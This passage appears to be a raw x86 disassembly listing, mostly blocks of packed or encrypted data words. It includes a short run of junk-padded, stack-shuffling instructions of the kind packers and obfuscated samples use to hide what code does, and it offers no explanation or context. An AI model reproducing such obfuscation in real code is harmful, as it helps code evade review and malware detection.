0BB751C4h, 0D315C927h, 56B29D1Ch, 52DBCFD8h dd 75000000h, 0CE8EC81h, 4933DFB4h, 48AFFFE0h, 3FB06978h dd 5765D2A7h, 50618AB3h, 0C9277AB0h, 4E148077h, 4533A5AAh dd 8FE1BB60h, 7F5F3BEAh, 0AE7B8E8Bh, 8F1D44B6h, 5E0DE0AAh dd 0A2684DDFh, 5CB829D3h, 0FEC9270Bh, 1B04F74Ch, 0B0CFD85Bh dd 0C9h, 6A7FEC19h, 4D72E7FAh, 9241349Eh, 0F2D74538h, 0A535B418h dd 8567D6BCh, 0A9A8F1Ch, 41607027h, 0A10BEDD2h, 0A14A6FFCh dd 0C322342Eh, 0EFD041CCh, 694CD8D9h, 0A328CCA1h, 4E5BCCEDh dd 5C11F9D8h, 198A0BEDh, 7B7A5A30h, 0E7F6C6E3h, 0CCC31921h dd 0FF9517E6h, 697848AFh, 0D2A733F8h, 2DA14A3Dh, 9B2ABA59h dd 0D74DD823h, 0A1801697h, 0BB09FCC7h, 3187AA3Ah, 7A3E23B0h dd 1ADE4EF1h, 0C1AA858Bh, 3CF342CCh, 1FB32E7Ah, 0FE9244DBh dd 1F6h, 9E1BC0D3h, 0DD567BEFh, 1F94BD2Ah, 5EDBFE68h, 9F1439AFh dd 0F9DE203h, 4ADE412Ah, 8C03826Fh, 0CE43C2AFh, 0C39100E9h dd 297252B2h, 0A9FC95C9h, 0D0597CECh, 1E9BBC2Dh, 5C6D3D47h dd 0CCC31DBCh, 72E0847Bh, 1FEFFD22h, 4C28099Eh, 0A73F2CD5h dd 4C06F9D2h, 0D5FA6908h, 3F46C253h, 0AA23C927h, 0D040C58Dh dd 0BB9E0EEDh, 241B25DFh, 0CDB91551h, 0E900FDE0h, 1822C683h dd 18E7C82Bh, 0DF9CFD8h, 0C10ADDEAh, 0B4E2AE1h, 0D1h, 5A7FECBCh dd 7F9F0DF0h, 0B3213510h, 792D1A8Eh, 0EBA78216h, 0D4E45B0Ah dd 0BB2C45D5h, 0EF4D2F9Eh, 0C33B342Eh, 0EFD041CCh, 290E8302h dd 38DFAF61h, 2AA819A8h, 9A6DD2A7h, 2532ABCAh, 7A3B97B0h dd 8A6ECF8Bh, 0DA398D01h, 0C4E4FB8Ah, 5225D74Dh, 9A33B202h dd 0F081D5BDh, 0CCC1BF10h, 0F7B160D7h, 3EFBDE4Eh, 19FF8E5Eh dd 0DECCC1BFh, 94048D6Fh, 0C7ABF5B1h, 1FB9DB1Fh, 0ED83h dd 0CC9A400h, 4F72E067h, 8DAA23A2h, 0CCF561E4h, 0D30A027h dd 96D90A64h, 0D7562306h, 148B6045h, 54CBA085h, 9A09E2C7h dd 6D65AB3Ah, 0DA2C929h, 597CECBAh, 0DBB29F0Bh, 0E431DF72h dd 7E15075h, 5F801194h, 6BE382D2h, 1C9E87Eh, 0AC3EFDACh dd 8C68CD85h, 6A7FEC2Dh, 887DD5FCh, 95443B1Eh, 0F131A6C7h dd 0C31D20E0h, 0A110E7CCh, 916175C7h, 0C31D0000h, 0B470C7CCh dd 0FEBB9C0Dh, 98CEA9Eh, 60B58E62h, 0FDC83456h, 610BFA36h dd 6C7CA3F3h, 0ADD1905Dh, 389265D2h, 6F3D445h, 0E8E81287h dd 77740232h, 7FED31AAh, 0FFE20C5h, 0E823F258h, 0B7E15591h dd 1889FC73h, 56CB7A37h, 72E49971h, 20B10157h, 0DED593E0h dd 6D45027h, 58321787h, 971633A5h, 9574DE03h, 139F9E55h dd 0BE531A29h, 0FC6D1099h, 3637FDBh, 0A000000h, 81EC52FBh dd 9A0FFE54h, 0B928DDB5h, 0DD4F3E94h, 0FD9312F8h, 1DB372D8h dd 3BD35238h, 64F1B41Eh, 84169743h, 50E3F55Dh, 0B951E089h dd 129A6F98h, 8104E9C1h, 0EF627BF1h, 7EE98174h, 175C6C4h dd 0E88359C8h, 24048704h, 0E189515Ch, 4C181h, 0E9830000h dd 240C8704h, 241C895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 6852242Ch, 4982172h, 8124148Bh, 4C4h, 0FAC28100h dd 89015245h, 46685AD3h, 89000025h, 4812424h, 424h, 0EC835D00h dd 243C8904h, 7D89DF89h, 34FF5F08h, 0C4835D24h, 2434FF04h dd 4C4815Bh, 0E9000000h, 0FFFAD2C4h, 0DE8730A9h, 93B83829h dd 0EA715AB8h, 0FFC50305h, 0D39EDDE0h, 2BF54558h, 190FE750h dd 33B8361Eh, 0E4E1FA3Ah, 0B9BF5873h, 31FFBE4Fh, 35FA4943h dd 98384C43h, 0CD1D800Dh, 4F982179h, 0A812EE6Ah, 0D8064567h dd 0D1A24A5Dh, 0C07EA97Ah, 0BEA93D2Dh, 7A38E837h, 0AE11008h dd 28197070h, 0E226AF47h, 98779158h, 8A9BD721h, 5FF6A83Dh dd 33C3F227h, 0E4B27D65h, 814CDC67h, 93F1BC25h, 45F31E34h dd 54588B1Ch, 4D8D8D66h, 6605EA73h, 89E58AB8h, 0E410958Dh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 5A4D421Ch, 1E336F8Ah, 2C6585C7h, 5C4C05E4h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BD8973C3h, 5E40779h, 30FD85C7h, 5E4h, 950B0000h dd 5E41A99h, 2031B5FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0CE8111C3h, 1074CCB1h dd 2A6195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0A7D9F3C3h, 8E835h, 91110000h, 0D39C13C1h dd 8B579EF7h, 0E41975BDh, 6A5B5A05h, 0C195FF00h, 8B05E410h dd 3C1EEBC0h, 0F39310C1h, 5E4074A9h, 0F1E4351Eh, 0A0EA385Bh dd 0EF58E0Ah, 1EAAA738h, 6F6E89A9h, 9E897h, 0B39A0000h dd 0F7A934A9h, 81B6D0A4h, 0FB9DFC6h, 0F605F2Bh, 88h, 899D8900h dd 6105E425h, 68BAC781h, 0BD890000h, 5E42A01h, 19FBB9h dd 10E900h, 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh dd 78B0D65h, 0EE9h, 968FF300h, 59865575h, 0C3E4CF82h, 817CB9B5h dd 0E526CBF0h, 0F081F801h, 19720AB0h, 0AF17BA66h, 0F2BBC081h dd 8D090A7Bh, 5E40009h, 8D890789h, 5E40149h, 0E904EF83h dd 0Fh, 46E6BF9Eh, 0D8532E8Dh, 81CA6770h, 831D376Eh, 850F01E9h dd 1Ah, 2DE9D88Ah, 0CE000000h, 85EE6119h, 2D1C8ED3h, 0D9EC8F7h dd 175899C5h, 95015563h, 5E42AC9h, 0FFFF81E9h, 18A43FFFh dd 220FD621h, 53D1D8DAh, 0D3827505h, 75008D8Dh, 6A05EAh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0AF332EC3h, 893B745Ah, 0E410958Dh, 6585C705h, 6005E42Ch dd 6A00005Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 7830C355h, 0D00504C0h, 0FD85C761h dd 5E430h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 24E0C355h, 5DB5FF28h, 6A05E400h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0D623C352h, 8B660D89h, 6195FFC7h, 0F05E42Ah dd 6AD8BFh, 10C195FFh, 0C08B05E4h, 3C36AEBh, 0C8F3843Ch dd 3311758Ah, 0EE73B898h, 7763D9E7h, 3AE1C61h, 0B911DBF9h dd 0B0635D0h, 0D42A0A74h, 9561CE16h, 0A0AF9972h, 84649459h dd 890ACD5Bh, 3A4A3C09h, 0AC96643Eh, 85422482h, 0D8033FFFh dd 0FB393D80h, 0B3C05DA2h, 89AE426Fh, 92327535h, 46F76BB4h dd 4C80C1CCh, 45969FA9h, 2C5EDEE2h, 736CCEBBh, 0ABDDCCE2h dd 8EBh, 87990000h, 67E93524h, 68000004h, 5EA7674h, 0FA083DE9h dd 76DB68FFh, 33E905EAh, 68FFFA08h, 5EA782Eh, 0FA0829E9h dd 0F168EBFFh, 38434EEh, 54D3869Ch, 0EC67E931h, 5BC31E9h dd 7F2A9582h, 0C65C43FEh, 2CF69916h, 70AA2DAEh, 0A65D40FBh dd 5A9C9EE7h, 621854EFh, 4BC67735h dd 0ED6CEB71h, 0A4269FEAh, 107B9CE1h, 0AAFB54E9h, 0E90FD755h dd 0B1E25554h, 0EADBBA1Bh, 54E91088h, 196633E4h, 54E91017h dd 61A8E8B2h, 33F8F322h, 2EB4Bh, 5E488200h, 9679FBB4h dd 0DF6CDB37h, 37D7BCFEh, 9B5C155Ah, 17D854E9h, 68EF6AB0h dd 8B0CCA50h, 0DC23FD56h, 524EEDD3h, 6E31B36Ch, 0D421A38Fh dd 0B90A1AA3h, 5B7697DCh, 5F64D6Ah, 17905842h, 0CD4C0Bh dd 22A01D48h, 84B00263h, 0CB0C524Eh, 0DE591E04h, 5CF463BFh dd 0B5B7889Dh, 37478641h, 0A3993C4h, 273690D9h, 0D37929A2h dd 2D412h, 0D9500300h, 6BEC6CB6h, 0BC3BBE64h, 0D44F0119h dd 6DE469B1h, 9702BD6Ah, 0FE24AB26h, 44DEC17Eh, 0A8721596h dd 9E25A823h, 5C74F6CFh, 8AF054EFh, 63D6CCDDh, 97402BE4h dd 5C4DB215h, 3854EF5Bh, 4B0A10F7h, 0E4F477E5h, 8F9B3A6Fh dd 968C53CEh, 0EFEDA621h, 0EF5AF578h, 0F36AE154h, 0DF912CAh dd 4223A928h, 26Dh, 2DB02BACh, 0C3C245F5h, 70179247h, 28AF28AAh dd 0C1C443F2h, 0BD306954h, 0D7878302h, 6FED3558h, 0BA31E9ECh dd 0A6E59C03h, 0EF5BDB59h, 74235954h, 12106DCCh, 924F04E6h dd 4805F4A1h, 5D1F0BCAh, 0A9966922h, 54EF5B38h, 0EE349B5Ch dd 0D62FEE69h, 54EF5B54h, 26B21FD0h, 75F463BFh, 5AD55B98h dd 0BF3F54EFh, 2092A800h, 227815A7h, 0C7A336FEh, 423112DBh dd 995A33FFh, 0B000001h, 8B21581Fh, 77DEFF58h, 0E97349C0h dd 0FE24EB62h, 79EAFE79h, 0C1BE099Ch, 5EA39C43h, 8654E8FCh dd 445E0755h, 3CBB3A94h, 3F210ECBh, 0C554E8FCh, 24C69215h dd 0C3A735B6h, 14D83979h, 0B713A69Bh, 0E2C1824Bh, 292A33F8h dd 6D000000h, 2AED6FD8h, 0E90860D5h, 0D82B0754h, 8A5E6A65h dd 45B6309Dh, 766EF077h, 1D954E9h, 597BC801h, 0BCEC33F9h dd 2B000000h, 12106DCCh, 924F04E6h, 2DAAF4A1h, 490C1EAAh dd 0EB60FACEh, 15C25870h, 76ACF392h, 0C17246C1h, 0D9B235A5h dd 4EA7498h, 0B02BA04Fh, 2CA85EDh, 5D89021Ch, 2D9AEDF0h dd 1109E8AFh, 5B88205Bh, 2007B1FEh, 0AA6D54ECh, 833EBFEBh dd 0C157061Ch, 98560AF0h, 0D99ED3EAh, 1C3D16E9h, 1AA70ECAh dd 59000001h, 0A2781F96h, 0F42EB136h, 47C3C245h, 0AF7B1A95h dd 0FB2CB32Eh, 0F168EDBCh, 78034EEh, 5BDC9A80h, 0EE69EE34h dd 0C7150EFh, 54EF5E2Eh, 77A3F88Eh, 9E844BC6h, 74F6CFDAh dd 0F04F04E6h, 7E01CA3Fh, 11B437A4h, 9092D3B2h, 0EC4F04E6h dd 191B642Bh, 9B4F04E6h, 77DEFF58h, 0E97349C0h, 0FE24EB62h dd 79EAFE79h, 40AA099Ch, 18C1357Bh, 1FDAB7A7h, 1C6124A6h dd 54E9E54Ah, 398B40AAh, 92C738B3h, 81366C33h, 0E55BD906h dd 16D954E9h, 1F0BEABDh, 568DDF5Ah, 37DC91FDh, 0D0E86FEBh dd 0E5402263h, 7BBC54E9h, 0B8BE8706h, 5C54E9E4h, 61B91C9Fh dd 0EC6775ECh, 0D7869C23h, 5AA10058h, 0F4000000h, 2AED6FD8h dd 0EF5BC8D5h, 2C6AA454h, 0CC289E7Dh, 0E07A4E83h, 9813D96Bh dd 7DFA20A7h, 9E79EEFAh, 0B285BE2Eh, 0C940F713h, 0BF5E420Ch dd 41E8138h, 0DD84D457h, 9C23017Eh, 4E818429h, 5CD79985h dd 0F52DBC0Ch, 430FC843h, 0BE39BE5Fh, 0D554031Fh, 33E87h dd 6690000h, 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh dd 0D7520319h, 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh dd 1468B30Dh, 8900004Ah, 3F682404h, 89000047h, 89522414h dd 4C281E2h, 83000000h, 148704EAh, 4895C24h, 9C685124h dd 5905EA75h, 8359CA89h, 248904ECh, 24048324h, 52515804h dd 0DE240481h, 5905CA5Bh, 5BDEE981h, 488905CAh, 34FF5908h dd 0C4815824h, 4, 5124148Bh, 0C181E189h, 4, 8704C183h dd 0E95C240Ch, 0FFFA03EAh, 76A0668Fh, 0D58080E5h, 6DB884B4h dd 305EA79h, 4E0FFC5h, 0EC33A940h, 33130D29h, 539654Eh dd 157E72F7h, 6D40973Dh, 6F225735h, 0DC594F0Fh, 763F20FAh dd 0F958583Bh, 107F8122h, 3B6D2E94h, 0FD7E8052h, 3D194FF7h dd 94322A2Dh, 0B83A4644h, 0AF1089CDh, 893648CEh, 24777B6Fh dd 435DAE10h, 0E8631366h, 0Fh, 0AB8FBE26h, 15CD7CA9h, 0A058FC65h dd 0F63D328h, 980h, 38F0F00h, 0F000000h, 665FF1B7h, 1017F281h dd 7210C781h, 0BF0F0000h, 1C50BBCAh, 78B0000h, 81CABF0Fh dd 0BA7FDFE8h, 81666023h, 0E92B59F6h, 10h, 74A41BC4h, 652D2A9Dh dd 7ABB0804h, 5149AD3Ch, 0E3E88161h, 0B6298F95h, 53F081D8h dd 0E862C451h, 8, 2D3E9505h, 88256831h, 0CE9h, 0F87EBE00h dd 0B5BDB240h, 0F3413013h, 7895977h, 1751BEB9h, 0CAEF8174h dd 8177D05Ah, 0D05AC6C7h, 0F28B6677h, 26850F4Bh, 0E8000000h dd 7, 777E778Ah, 8A79C792h, 1DE95AE8h, 0B4000000h, 0BC24248Ch dd 6F6B6C06h, 79E519CAh, 0E01A88B4h, 0FF64E982h, 961EFFFFh dd 9DF891F6h, 7BD48D8Dh, 0B50B05EAh, 5E40275h, 31C58503h dd 8D8905E4h, 5E41095h, 6678EB81h, 85C76ED1h, 5E42C65h dd 598Ch, 2029BD8Bh, 0C7F805E4h, 0E430FD85h, 5, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 261C9981h, 0B5FF3598h, 5E425F5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0C35040h, 7E228B95h, 0A014FF74h dd 29B58B14h, 0FF05E408h, 0E42A6195h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 9F726BB1h, 4B727FF9h, 6A6889h, 10C195FFh, 0C08B05E4h dd 8E3228EBh, 0A217C12Dh, 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h dd 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh, 352129C9h, 2D4A619Dh dd 8D8DAF05h, 5EA7CABh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0EAC35747h, 3BF9A3B4h, 8E9h, 91703200h dd 0A2121192h, 958D898Eh, 6A05E410h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66BAC355h dd 85C7F78Bh, 5E42C65h, 6FCCh, 8E9h, 494A6500h, 67AE5D0h dd 0FD85C702h, 5E430h, 89000000h, 0E427C985h, 31B5FF05h dd 8B05E420h, 0E427D195h, 19D8B05h, 0FF05E408h, 0E42A6195h dd 699D0305h, 8B05E41Ch, 0E42249BDh, 0FF006A05h, 0E410C195h dd 0EBC08B05h, 0AC0D8F1Eh, 7F58F1A3h, 54737E5Bh, 250B5D6Fh dd 0C4912AC9h, 91EA6BC9h, 0CFFB8404h, 0E895FE47h, 11h dd 4E1C018Ah, 0FF59CD98h, 0F4691AA3h, 45390FD3h, 0D4F3815Bh dd 5F64F86Ah, 0AE9h, 19323200h, 0C160183Dh, 8178CACCh dd 75E7C7h, 0EE800h, 0F7D60000h, 40FC2DCBh, 0E8EA3096h dd 9F5C9807h, 0D85BD01h, 685805E4h, 1D41h, 0D96946B8h dd 9D895A11h, 5E4325Dh, 0F1810F8Bh, 7D0403CBh, 0D4D9501h dd 0C18105E4h, 0BB7813Bh, 0DBD8960h, 8B05E408h, 0E98161F8h dd 5FF9242Eh, 1A8E0Fh, 12E80000h, 84000000h, 735A8C82h dd 200C3AF0h, 1FDCA64Ah, 0E58F1852h, 58C18B5Fh, 61858B51h dd 8F05E404h, 83C18A07h, 8E903EFh, 0D7000000h, 0E1BA11CAh dd 4FF9119Bh, 2581858Bh, 0F4A05E4h, 1285h, 0F0B70F00h dd 1AE9h, 0CF310A00h, 0F78A321Dh, 8B08554Fh, 0E4150585h dd 0FF76E905h, 0B824FFFFh, 0E831B65Fh, 6, 0E24048D2h, 14E8194Bh dd 94000000h, 63A8272h dd 0DE17EDC2h, 6CDD3F79h, 1B4EB1A8h, 60DFBE76h, 425958Bh dd 5B6105E4h, 2DB9665Fh, 9AC781EEh, 60000067h, 0D8B70F60h dd 850Fh, 0F610000h, 2B61C7B7h, 0E18166F6h, 48BA78Bh, 0C9BF0F37h dd 0E3CEE881h, 335761CAh, 0E402519Dh, 0F0815905h, 22330CEFh dd 13B58589h, 0F08105E4h, 778902A4h, 81CFBA66h, 0D1B70F50h dd 6637048Fh, 29BE51B9h, 0E411B18Dh, 4EE8305h, 6800Fh dd 9D330000h, 5E42AA5h, 9908FE81h, 850FFFFFh, 0FFFFFFAAh dd 96D8D31h, 8D8D05E4h, 5EA7F0Eh, 5330E281h, 8D894025h dd 5E41095h, 1F8DB501h, 85C705E4h, 5E42C65h, 5AE4h, 4D9B503h dd 0C68105E4h, 258F3E38h, 30FD85C7h, 5E4h, 890F0000h, 1 dd 0D68166F5h, 0B5FFD194h, 5E402D9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0ACC35343h, 8D298496h, 5E42CB9h dd 0FFD2B70Fh, 0E42A6195h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 27693FE5h dd 3DF44354h, 0FDBD3151h, 5805E400h, 95FF006Ah, 5E410C1h dd 19EBC08Bh, 4F0898A3h, 196F503Ch, 52B355D0h, 0FE6A644h dd 259342B2h, 0A5C28E41h, 9004EB4Ch, 0E9442445h, 560h dd 71148F40h, 27A621A9h, 0D4FB7EFBh, 8C138C4Eh, 25A82796h dd 61D4C5F0h, 0BB3BE7E6h, 0CB81993Ch, 66D54D50h, 0A59E0E7h dd 0EF653735h, 6EF7B554h, 0D5DA0804h, 0EFE48AE8h, 0ED29EA54h dd 3097B538h, 0EFCE6DCFh, 430CCF54h, 30E6CC0Ah, 1B51B296h dd 12D9C58Eh, 0BA3BC19Bh, 0E139983Fh, 0FB27F06Bh, 5DEFFD7Ch dd 582369Eh, 714BBCB7h, 0D0E86FEBh, 0C33C8342h, 4F04EE61h dd 5C98E693h, 437FE1E0h, 72F0CD90h, 0F24F051Eh, 60A5401h dd 0D6F970E7h, 8A0D8E4Ch, 0C088DA90h, 0A4FE7547h, 3023B932h dd 9F5FEDFFh, 2B24860h, 0A3153785h, 3B3C8531h, 7FB0E333h dd 0CA369C6Dh, 0D0D0BA02h, 9D00BB31h, 0D072E43Eh, 1FAD9E19h dd 0A82F6B24h, 0C3A49B31h, 434F05E4h, 0A6441493h, 8924B433h dd 0C339F131h, 1370B9F9h, 442E15C8h, 0A6h, 49C07793h, 0E66CCC73h dd 21A84F04h, 0E669CB34h, 8CB4F04h, 0F76785D7h, 31996078h dd 0DF5810F1h, 0E42CBEEAh, 14C9562Dh, 1872Eh, 77D60000h dd 6AED6DC3h, 0C822A339h, 0E40E7BD8h, 6306066Fh, 44E60945h dd 0D8530561h, 9C865380h, 5AB342DCh, 4534EA15h, 91EE4D10h dd 4F05D493h, 6775DE11h, 0DC8113C5h, 60E75281h, 186A2D36h dd 5D44527h, 374A74Fh, 0EE60FACEh, 13C56775h, 9179C098h dd 7B455991h, 0E562D637h, 11B338E2h, 0CD44095Bh, 0B91344FFh dd 5736598Ah, 0B10B8E4Bh, 1D364882h, 34FAB788h, 0C677725Bh dd 0DA9E844Bh, 7642C574h, 33088FDh, 70F80256h, 0F2C8E5F7h dd 73EE6F8Eh, 8601B66Ch, 26A12832h, 3F63C792h, 14CF7DF6h dd 6EEE2Eh, 0CC290000h, 0E612106Dh, 0A1924F04h, 852BAAF4h dd 546459D0h, 348403B6h, 0BD5C441Eh, 41E8138h, 7882D651h dd 809A7DF6h, 0CB7850CBh, 2BFF4A0Eh, 0CF452EE7h, 64B62E14h dd 0E1000000h, 844BC677h, 0FDA0DF9Eh, 4E5A280h, 4D1024Fh dd 8700B654h, 878B5135h, 9578F766h, 8451C88Dh, 0D59882E1h dd 7547C273h, 0F5CA8DFEh, 4F04E677h, 4902F5h, 7444C377h dd 4E66EF3h, 0FE22B84Fh, 14C94C37h, 89F6552Eh, 4F04D9ABh dd 520DC609h, 0Fh, 24A31773h, 0B7574694h, 0AE8911E9h, 773B907Dh dd 218047C2h, 4E65EDCh, 0B01DDE4Fh, 0D2550218h, 0D153AC73h dd 534F04E5h, 0C5A537E0h, 67D2337Fh, 0DD8AFDE0h, 0E672F0CDh dd 93F24F04h, 4E5D052h, 0B6EB2C4Fh, 54BD8245h, 0A054E911h dd 871E6176h, 1D4E7615h, 0BF3EBD4Fh, 260479D8h, 8654E907h dd 3DE5F855h, 0BAAD3FBEh, 54E906B6h, 0AB4AB614h, 54D7842Ch dd 7E56BC63h, 15EDE48Bh, 1AAD66h, 250DD04Bh, 1FA9D717h dd 0DDFF586Dh, 0BB11884Fh, 0E545C2Eh, 9725A614h, 2097F35Ch dd 6FD426A9h, 7033F972h, 3EFDAC1Ah, 937CDBE3h, 13524h dd 6FD87300h, 0E624067Fh, 4F804F04h, 5D4ABB1Ah, 3954E903h dd 9358E2F6h, 2EAD7518h, 5EB41DAFh, 0DCB57333h, 54BE1B8Ch dd 0B65464E7h, 2A308807h, 879D2FA8h, 6E3DF53Dh, 644E141Ch dd 3FB6B330h, 0B3DFB823h, 30028504h, 33F98953h, 4A84h dd 79462500h, 54E999FBh, 0FCDDB679h, 12106DCCh, 924F04E6h dd 4505F4A1h, 853708CFh, 0E74F04E6h, 0E5DB59A6h, 96594F04h dd 52D017A5h, 0F14F04E6h, 0E3A7E929h, 0DBC7A669h, 19CA9E19h dd 0E64577BCh, 0F4274F04h, 9C12D1h, 0D8450000h, 0F02AED6Fh dd 0B312FF78h, 0E8F69172h, 9E2AED54h, 494CCF8Ch, 3CE31AD1h dd 0A0C0755Dh, 86044926h, 0E8FDDB59h, 3D965954h, 0FEC5A89Fh dd 15F754E8h, 0CC4F0CEDh, 8301FEC9h, 7DABE3DCh, 8125AD3h dd 40F3C942h, 4CC2A09Dh, 0F1224F13h, 3599A24h, 14FB72F9h dd 48E25DB5h, 0C5228A64h, 12E79E9Ch, 70DD1E4Fh, 9512C258h dd 0C3A19EC7h, 214F12E7h, 0A72094EEh, 0A2EEB415h, 8888526Ah dd 0C48B09C6h, 0FD67A3FBh, 0BF1ED154h, 6385E7D8h, 34E754E9h dd 852E43DAh, 0BD169AB9h, 6FD8BD2Ah, 81D52AEDh, 0FF54EF65h dd 0D99EAC3Ch, 0E393FF5Eh, 73AB59BCh, 75546B24h, 632CAF2Dh dd 0A339B027h, 0BE1416BCh, 0D6510696h, 7BF47882h, 8989D361h dd 72A82D41h, 0D77547C0h, 1ED5E762h, 3A66602Dh, 7B41CDBh dd 7DFA7A84h, 9B5D4508h, 0A10B760h, 2F0BCA4Dh, 7EA92413h dd 0BC1CF936h, 3CAA2CAEh, 8B38AEA7h, 5B314793h, 359A8B3h dd 5822FACEh, 0BB32B958h, 0CE490E14h, 33BFAh, 6620000h dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 3D68B30Dh dd 89000038h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push esi push 5EA7F37h pop esi mov ebp, esi pop esi push 57B8h mov [esp], esp add dword ptr [esp], 4 pop edi push ebp push ebp mov ebp, 8E82797h sub [esp+4], ebp pop ebp pop dword ptr [edi+8] add dword ptr [edi+8], 8E82797h mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- db 0E7h, 6Dh, 39h dd 0EA8415B8h, 0FFC50305h, 367645E0h, 76F21A67h, 0DFBCFB00h dd 3CBFF545h, 7911E916h, 7D1B4F48h, 0CDD1176Dh, 170E1023h dd 9380E91Dh, 88085C36h, 4F73BE69h, 5C8D8D15h, 6A05EA85h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 14A4C356h, 0A54ABE66h, 89F1BF0Fh, 0E410958Dh dd 0C28B6605h, 2C6585C7h, 5EAC05E4h, 0B8660000h, 9589AE9Dh dd 5E42AA5h, 30FD85C7h, 5E4h, 20BF0000h, 0FF3C8148h, 0E431EDB5h dd 15953105h, 0FF05E41Eh, 0E42A6195h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66CD9FE6h, 6AFA8Bh, 10C195FFh, 0C08B05E4h, 0CA872CEBh dd 69331021h, 1F3BBA93h, 9BE18FBh, 9E3AAA6Bh, 4039A0CFh dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h, 1A2861CBh dd 8D8D9C00h, 5EA8648h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 77C35343h, 0CF13FA13h, 1265CBCFh, 0CD9D8BAEh dd 8905E422h, 0E42CD59Dh, 958D8905h, 0F505E410h, 2C6585C7h dd 730405E4h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B545BBC3h, 9F1F3FABh, 8EB7BE8Ch dd 820F0F1Eh, 0 dd 30FD85C7h, 5E4h, 8B660000h, 0DB5FFD9h, 6A05E424h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A728C352h, 0D0B651Ah, 8E88070h, 2A6195FFh, 6A05E4h dd 10C195FFh, 0C08B05E4h, 765239EBh, 873788A7h, 5A769BFh dd 0D144A311h, 2AD8BDA7h, 0F69A399Ah, 368B392Dh, 9B08E486h dd 0A1459FEEh, 4647A7CBh, 801D651Ch, 0C55A1688h, 688E87E0h dd 4599C878h, 0E8F12EFBh, 0Eh, 5312E86Fh, 1D503ADCh, 3D21215Dh dd 9D330650h, 5E407DDh, 0D88B5359h, 0C3C1815Bh, 29000072h dd 0E4141DB5h, 0BE05h, 81660000h, 8BEEC2C3h, 0BE93114h dd 86000000h, 64A044C4h, 64D430C0h, 0EA81F2C4h, 359DFD6h dd 0F308EA81h, 0BB662378h, 0F281F5B5h, 12029CCDh, 14E8h dd 0EE4D2E00h, 152DDA59h, 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah dd 0B5896039h, 5E41E0Dh, 61DEB70Fh, 3114895Fh, 6800Fh dd 95090000h, 5E423F5h, 0EE81FA8Bh, 0DCA577Ch, 6E9h, 0F255D900h dd 8177C908h, 0CA5778C6h, 0F0BB660Dh, 2CFE81B6h, 0FFFFF8Eh dd 1C85h, 0CCDF8100h, 0E9639F3Fh, 33h, 0FB3DFA5Dh, 8D140AE6h dd 25F004h, 0B9053FF1h, 68D0F2Ch, 9000000h, 0E4110995h dd 0FF4DE905h, 0B881FFFFh, 3EC07292h, 91388892h, 0CB41D8AAh dd 0E8E28507h, 12h, 0FE6B1D7Eh, 6F25D9D1h, 76DB08A4h, 0EF37607Eh dd 13E9E6D7h, 0D000000h, 0FD374E55h, 22AC3641h, 0B1337849h dd 2C6962E7h, 895850ACh, 0E423D59Dh, 0C08105h, 0BE000061h dd 7743EF6Ch, 0F762F681h, 0BF667743h, 30FF7953h, 0B5DF8166h dd 890F5925h, 6, 1A50D781h, 0F18145FCh, 61E69958h, 0CE981FCh dd 2310F64Dh, 0E4119D9Dh, 7EC18105h, 0E93E01A3h, 0Eh, 94768102h dd 1838897Bh, 0E0C92B55h, 8F51395Bh, 0D99D8B00h, 8305E410h dd 20BF04E8h, 83315C5Ah, 850F01EEh, 13h, 0E9EDEA80h, 24h dd 0D682B6FEh, 1ED6DEEAh, 8B22373Dh, 0E429A195h, 0FF88E905h dd 0DAE2FFFFh, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 89568D8Dh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 9D8949C3h, 5E4313Dh, 10958D89h, 6A05E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 6573C5C3h, 